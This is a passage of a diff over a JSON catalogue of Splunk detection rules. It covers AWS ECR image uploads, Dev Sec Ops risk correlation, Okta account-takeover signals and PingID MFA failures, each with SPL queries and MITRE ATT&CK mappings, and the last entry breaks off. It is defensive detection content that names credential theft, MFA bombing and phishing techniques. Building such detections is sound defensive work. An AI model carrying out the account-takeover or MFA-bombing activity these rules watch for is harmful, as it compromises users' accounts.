"mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Upload Outside Business Hours", - "description": "The following analytic detects the upload of a new container image to AWS Elastic Container Registry (ECR) outside of standard business hours. It leverages AWS CloudTrail logs to identify `PutImage` events occurring between 8 PM and 8 AM or on weekends. This activity is significant because container uploads outside business hours can indicate unauthorized or suspicious activity, potentially pointing to a compromised account or insider threat. If confirmed malicious, this could allow an attacker to deploy unauthorized or malicious containers, leading to potential data breaches or service disruptions.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=PutImage date_hour>=20 OR date_hour<8 OR date_wday=saturday OR date_wday=sunday | rename requestParameters.* as * | rename repositoryName AS repository | eval phase=\"release\" | eval severity=\"medium\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, user, userName, src_ip, imageTag, registryId, repository, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_upload_outside_business_hours_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded outside business hours from $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Upload Unknown User", - "description": "The following analytic detects the upload of a new container image to AWS Elastic Container Registry (ECR) by an unknown user. It leverages AWS CloudTrail logs to identify `PutImage` events from the ECR service, filtering out known users. This activity is significant because container uploads should typically be performed by a limited set of authorized users. If confirmed malicious, this could indicate unauthorized access, potentially leading to the deployment of malicious containers, data exfiltration, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=PutImage NOT `aws_ecr_users` | rename requestParameters.* as * | rename repositoryName AS image | eval phase=\"release\" | eval severity=\"high\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, user, userName, src_ip, imageTag, registryId, image, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_upload_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded from unknown user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Risk Rule for Dev Sec Ops by Repository", - "description": "The following analytic identifies high-risk activities within repositories by correlating repository data with risk scores. It leverages risk events from the Dev Sec Ops analytic stories, summing risk scores and capturing source and user information. The detection focuses on high-risk scores above 100 and sources with more than three occurrences. This activity is significant as it highlights repositories frequently targeted by threats, providing insights into potential vulnerabilities. If confirmed malicious, attackers could exploit these repositories, leading to data breaches or infrastructure compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as sum_risk_score, values(All_Risk.annotations.mitre_attack.mitre_tactic) as annotations.mitre_attack.mitre_tactic, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Dev Sec Ops\" All_Risk.risk_object_type = \"other\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count > 3 and sum_risk_score > 100 | `risk_rule_for_dev_sec_ops_by_repository_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "Amazon Elastic Container Registry", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for repository $risk_object$", - "risk_score": 70, - "security_domain": "cloud", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Correlation by Repository and Risk", - "description": "This search has been deprecated and updated with Risk Rule for Dev Sec Ops by Repository detection. The following analytic detects by correlating repository and risk score to identify patterns and trends in the data based on the level of risk associated. The analytic adds any null values and calculates the sum of the risk scores for each detection. Then, the analytic captures the source and user information for each detection and sorts the results in ascending order based on the risk score. Finally, the analytic filters the detections with a risk score below 80 and focuses only on high-risk detections.This detection is important because it provides valuable insights into the distribution of high-risk activities across different repositories. It also identifies the most vulnerable repositories that are frequently targeted by potential threats. Additionally, it proactively detects and responds to potential threats, thereby minimizing the impact of attacks and safeguarding critical assets. Finally, it provides a comprehensive view of the risk landscape and helps to make informed decisions to protect the organization's data and infrastructure. False positives might occur so it is important to identify the impact of the attack and prioritize response and mitigation efforts.", - "search": "`risk_index` | fillnull | stats sum(risk_score) as risk_score values(source) as signals values(user) as user by repository | sort - risk_score | where risk_score > 80 | `correlation_by_repository_and_risk_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for user $user$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Correlation by User and Risk", - "description": "The following analytic detects the correlation between the user and risk score and identifies users with a high risk score that pose a significant security risk such as unauthorized access attempts, suspicious behavior, or potential insider threats. Next, the analytic calculates the sum of the risk scores and groups the results by user, the corresponding signals, and the repository. The results are sorted in descending order based on the risk score and filtered to include records with a risk score greater than 80. Finally, the results are passed through a correlation filter specific to the user and risk. This detection is important because it identifies users who have a high risk score and helps to prioritize investigations and allocate resources. False positives might occur but the impact of such an attack can vary depending on the specific scenario such as data exfiltration, system compromise, or the disruption of critical services. Please investigate this notable event.", - "search": "`risk_index` | fillnull | stats sum(risk_score) as risk_score values(source) as signals values(repository) as repository by user | sort - risk_score | where risk_score > 80 | `correlation_by_user_and_risk_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Correlation triggered for user $user$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -552105,6414 +370315,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Okta Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts during the Multi-Factor Authentication (MFA) challenge in an Okta tenant. It uses the Authentication datamodel to detect specific failed events where the authentication signature is `user.authentication.auth_via_mfa`. This activity is significant as it may indicate an adversary attempting to authenticate with compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing attempt to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Authentication.app) as app values(Authentication.reason) as reason values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.authentication.auth_via_mfa Authentication.action = failure by _time Authentication.src Authentication.user Authentication.dest Authentication.action | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| iplocation src | `okta_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] has failed to authenticate via MFA from IP Address - [$src$]\"", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta New API Token Created", - "description": "The following analytic detects the creation of a new API token within an Okta tenant. It uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud to identify events where the `system.api_token.create` command is executed. This activity is significant because creating a new API token can indicate potential account takeover attempts or unauthorized access, allowing an adversary to maintain persistence. If confirmed malicious, this could enable attackers to execute API calls, access sensitive data, and perform administrative actions within the Okta environment.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where All_Changes.action=created AND All_Changes.command=system.api_token.create by _time span=5m All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src All_Changes.action All_Changes.object_category | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_new_api_token_created_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new API token was created in Okta by [$user$]. Investigate further to determine if this was authorized.", - "risk_score": 64, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Phishing Detection with FastPass Origin Check", - "description": "The following analytic identifies failed user authentication attempts in Okta due to FastPass declining a phishing attempt. It leverages Okta logs, specifically looking for events where multi-factor authentication (MFA) fails with the reason \"FastPass declined phishing attempt.\" This activity is significant as it indicates that attackers are targeting users with real-time phishing proxies, attempting to capture credentials. If confirmed malicious, this could lead to unauthorized access to user accounts, potentially compromising sensitive information and furthering lateral movement within the organization.", - "search": "`okta` eventType=\"user.authentication.auth_via_mfa\" AND result=\"FAILURE\" AND outcome.reason=\"FastPass declined phishing attempt\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_phishing_detection_with_fastpass_origin_check_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Okta FastPass has prevented $user$ from authenticating to a malicious site.", - "risk_score": 100, - "security_domain": "access", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Okta Risk Threshold Exceeded", - "description": "The following correlation identifies when a user exceeds a risk threshold based on multiple suspicious Okta activities. It leverages the Risk Framework from Enterprise Security, aggregating risk events from \"Suspicious Okta Activity,\" \"Okta Account Takeover,\" and \"Okta MFA Exhaustion\" analytic stories. This detection is significant as it highlights potentially compromised user accounts exhibiting multiple tactics, techniques, and procedures (TTPs) within a 24-hour period. If confirmed malicious, this activity could indicate a serious security breach, allowing attackers to gain unauthorized access, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` values(All_Risk.analyticstories) as analyticstories sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count,values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.risk_object_type = user All_Risk.analyticstories IN (\"Okta Account Takeover\", \"Suspicious Okta Activity\",\"Okta MFA Exhaustion\") by All_Risk.risk_object,All_Risk.risk_object_type | `drop_dm_object_name(\"All_Risk\")` | search mitre_technique_id_count > 5 | `okta_risk_threshold_exceeded_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover", - "Okta MFA Exhaustion", - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Okta Risk threshold exceeded for user [$risk_object$]. Investigate further to determine if this was authorized.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Okta Successful Single Factor Authentication", - "description": "The following analytic identifies successful single-factor authentication events against the Okta Dashboard for accounts without Multi-Factor Authentication (MFA) enabled. It detects this activity by analyzing Okta logs for successful authentication events where \"Okta Verify\" is not used. This behavior is significant as it may indicate a misconfiguration, policy violation, or potential account takeover. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches or further exploitation within the environment.", - "search": "`okta` action=success src_user_type = User eventType = user.authentication.verify OR eventType = user.authentication.auth_via_mfa| stats dc(eventType) values(eventType) as eventType values(target{}.displayName) as targets values(debugContext.debugData.url) min(_time) as firstTime max(_time) as lastTime values(authentication_method) by src_ip user action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search targets !=\"Okta Verify\" | `okta_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has successfully logged in to Okta Dashboard with single factor authentication from IP Address - [$src_ip$].", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Suspicious Activity Reported", - "description": "The following analytic identifies when an associate reports a login attempt as suspicious via an email from Okta. It leverages Okta Identity Management logs, specifically the `user.account.report_suspicious_activity_by_enduser` event type. This activity is significant as it indicates potential unauthorized access attempts, warranting immediate investigation to prevent possible security breaches. If confirmed malicious, the attacker could gain unauthorized access to sensitive systems and data, leading to data theft, privilege escalation, or further compromise of the environment.", - "search": "`okta` eventType=user.account.report_suspicious_activity_by_enduser | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser client.geographicalContext.city client.geographicalContext.country | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_suspicious_activity_reported_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] reported suspicious activity in Okta. Investigate further to determine if this was authorized.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Threat Detected", - "description": "The following analytic identifies threats detected by Okta ThreatInsight, such as password spraying, login failures, and high counts of unknown user login attempts. It leverages Okta Identity Management logs, specifically focusing on security.threat.detected events. This activity is significant for a SOC as it highlights potential unauthorized access attempts and credential-based attacks. If confirmed malicious, these activities could lead to unauthorized access, data breaches, and further exploitation of compromised accounts, posing a significant risk to the organization's security posture.", - "search": "`okta` eventType = security.threat.detected | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats count min(_time) as firstTime max(_time) as lastTime by app src_ip signature eventType displayMessage client.device city state country user_agent outcome.reason outcome.result severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_threat_detected_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "app", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "The following $src_ip$ has been identified as a threat by Okta ThreatInsight. Investigate further to determine if this was authorized.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "PingID Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within a PingID environment. It triggers when 10 or more MFA prompts fail within 10 minutes, using JSON logs from PingID. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access, as the user might eventually accept the fraudulent request, compromising the security of the account and potentially the entire network.", - "search": "`pingid` \"result.status\" IN (\"FAILURE,authFail\",\"UNSUCCESSFUL_ATTEMPT\") | eval time = _time, src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), object = 'resources{}.devicemodel', reason = 'result.message'| bucket span=10m _time | stats dc(_raw) AS mfa_prompts min(time) as firstTime, max(time) as lastTime values(src) as src by user, reason, _time | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | where mfa_prompts >= 10 | `pingid_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple Failed MFA requests $mfa_prompts$ for user $user$ between $firstTime$ and $lastTime$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": 